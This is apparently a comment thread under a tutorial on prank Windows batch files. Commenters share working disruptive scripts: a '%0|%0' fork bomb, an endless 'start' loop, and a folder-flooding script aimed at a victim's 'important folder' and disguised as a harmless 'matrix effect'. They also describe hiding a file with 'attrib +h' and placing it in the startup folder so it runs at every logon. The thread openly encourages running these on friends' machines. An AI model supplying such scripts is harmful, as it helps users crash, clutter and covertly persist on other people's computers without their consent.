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It is possible to run the program when the computer starts by copying the file to the startup folder on windows. This would effectively launch whenever the user logs on. To make it stealthy, you could add "attrib +h filename" to hide it from view in file explorer.
I will attempt to do that. I am still pretty much a basic script kiddie, but I'll use an emulator for you to try to see. It'll be pretty much the same thing, except it will be much slower, as the only emulator I got was for Windows 98.
you dont... you learn a real programming language, not dos
Yes, but we are stupid. C:
This is basic batch
warr about dis%0|%0 - MequanentG
What if I want this program to autorun? Like this would start up automaticaly once the PC is powered on? Still a newbie soooo please help??? - TibuleacL
Could you make one that copies everything on your computersay 100 times?
Actually, when you put this code in batch:echo (text) > text.bat It *should* create a .bat file names text.bat with that text in it.I dont know if this would work with %random%.bat or something like that. if it does, tell me. lol
any way to make a bat file that generates randomly named files on the desktop using a variant of this code?
Also this is way more annoying because it takes hours (trust me from personal experience) to clean up afterwards:@echo offcd PUT IMPORTANT FOLDER AREA LOCATION HEREset /a number=0:loopmd %number%set /a number=%number%+1goto loopP.S. The beauty is it doesn't look like it is doing any damage so you could even tell your [ex]friends that it is just a cool matrix effect, then when they go to their "important folder location" they will find 40,000 odd folders hanging around XD Trust me the reactions are hilarious.P.P.S. One final thing ... if you need to quickly end the file before too much annoyance is called just "Ctrl+C" in the batch window. Have fun ;)
Err lads this is a bit overcomplicated XDYou could just do::startstartgoto start
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